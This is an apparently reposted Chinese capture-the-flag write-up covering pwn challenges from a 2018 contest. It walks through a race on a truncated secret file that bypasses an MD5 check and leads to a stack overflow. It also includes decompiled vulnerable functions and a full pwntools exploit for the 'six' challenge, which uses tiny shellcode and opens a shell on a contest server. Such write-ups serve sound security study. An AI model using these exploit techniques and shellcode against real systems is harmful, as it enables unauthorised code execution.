内容简介:跟学校的队伍参加了又一次这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考
跟学校的队伍参加了又一次 ?网杯
,记录一下 pwn 的 writeup。
gettingstart
这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange
shoppingcart
这道题目真是坑了很久,看到 strtoul
就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。
huwang
听 charlie 师傅说这道题目抄了他给国赛出的题。。。
堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom
中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。
void __fastcall secret_in_secret(char *rdi0)
{
char v1; // ST1B_1
int s_len; // [rsp+1Ch] [rbp-214h]
char occupation[256]; // [rsp+20h] [rbp-210h]
char s[264]; // [rsp+120h] [rbp-110h]
unsigned __int64 v5; // [rsp+228h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
get_str(occupation, 255LL);
s_len = snprintf(
s,
255uLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
"....................................................................................................",
rdi0,
occupation);
puts("Here is your introduce");
puts(s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, s, s_len - 1); // overflow
printf("The final presentation is as follows:%s\n", s);
}
其中 md5 运算的轮数是用户决定的
puts("Input how many rounds do you want to encrypt the secret:");
how_many = get_int();
if ( how_many > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !how_many )
{
printf("At least encrypt one time", s_secret);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 01001);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < how_many ) // negative
{
MD5((__int64)s_secret, 16LL, (__int64)s_secret);
LODWORD(v2) = v2 + 1;
}
只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signed
和 unsigned
比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。
这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前
HIDWORD(v2) = open("/tmp/secret", 01001);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < how_many ) // negative
{
MD5((__int64)s_secret, 16LL, (__int64)s_secret);
LODWORD(v2) = v2 + 1;
}
这里 open
是以 O_WRONLY | O_TRUNC
的 flags 打开的,其中 O_TRUNC
的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0
,因此此时第二个 io 将得到一个空的 /tmp/secret
,因此只要我们输入 MD5('\0' * 16)
即可通过后边的 memcpy 验证,进入漏洞函数。
进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts
的方法。运气比较好,rdx 满足条件。
six
总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。
首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,权限都是 rwx 。
void mmap_rwx()
{
int fd; // ST04_4
char buf[12]; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, buf, 6uLL);
read(fd, &buf[8], 6uLL);
dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}
程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足
- 3 个奇数 opcode,3个偶数 opcode
- 各不相同
程序给的 shellcode 为
.data:0000000000202020 ; char sc[1] .data:0000000000202020 sc: ; DATA XREF: main+71↑o .data:0000000000202020 ; main+87↑o ... .data:0000000000202020 mov rsp, rdi .data:0000000000202023 xor rbp, rbp .data:0000000000202026 xor rax, rax .data:0000000000202029 xor rbx, rbx .data:000000000020202C xor rcx, rcx .data:000000000020202F xor rdx, rdx .data:0000000000202032 xor rdi, rdi .data:0000000000202035 xor rsi, rsi .data:0000000000202038 xor r8, r8 .data:000000000020203B xor r9, r9 .data:000000000020203E xor r10, r10 .data:0000000000202041 xor r11, r11 .data:0000000000202044 xor r12, r12 .data:0000000000202047 xor r13, r13 .data:000000000020204A xor r14, r14 .data:000000000020204D xor r15, r15
清空了除 rsp
和 rip
之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈
.text:0000000000000C87 mov rdx, cs:stack .text:0000000000000C8E mov rax, [rbp+var_28] .text:0000000000000C92 mov rdi, rdx .text:0000000000000C95 call rax
这样就可以通过 0 号系统调用,即 sys_read
来读取一部分内容了,很自然的想法是读到栈顶(
read = asm('''
push rsp
pop rsi
mov edx, esi
syscall
''')
assert len(read) < 7
io.sendafter("shellcode:\n", read)
这段 shellcode 是符合要求的。
当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0)
即可。
我的 exp 如下:
HWB2018_six [master●●] bat solve.py
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env python
2 │ # -*- coding: utf-8 -*-
3 │
4 │ from pwn import *
5 │ import sys
6 │ context.binary = "./six"
7 │ context.log_level = "debug"
8 │ context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
9 │
10 │ if sys.argv[1] == "l":
11 │ # io = process("./six")
12 │ io = gdb.debug("./six", gdbscript = '''
13 │ bpie 0xC95
14 │ c
15 │ si
16 │ si
17 │ si
18 │ si
19 │ si
20 │ si
21 │ si
22 │ si
23 │ si
24 │ si
25 │ si
26 │ si
27 │ si
28 │ si
29 │ si
30 │ si
31 │ si
32 │ si
33 │ si
34 │ si
35 │ ''')
36 + │
37 │ else:
38 │ io = remote("49.4.79.0", 31166)
39 │
40 │ if __name__ == "__main__":
41 │ read = asm('''
42 │ push rsp
43 │ pop rsi
44 │ mov edx, esi
45 │ syscall
46 │ ''')
47 │ assert len(read) < 7
48 │ io.sendafter("shellcode:\n", read)
49 │
50 │ shell = asm('''
51 │ mov eax, 0x3b
52 │ mov rdi, rsi
53 │ xor rdx, rdx
54 │ xor rsi, rsi
55 │ syscall
56 │ ''')
57 │
58 │ payload = "/bin/sh\0".ljust(0xb36, '\0') + shell
59 │ # pause()
60 │ io.sendline(payload)
61 │
62 │ io.interactive()
63 │ # $ while true; do python exp.py r; done
───────┴─────────────────────────────────────────────────────────────────────────────────
成功率不是 100% 但也相当可观了。
calendar
题目已经提示了 house of roman
,伤心的是,我的 house of roman 远程从来没有成功过。。。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。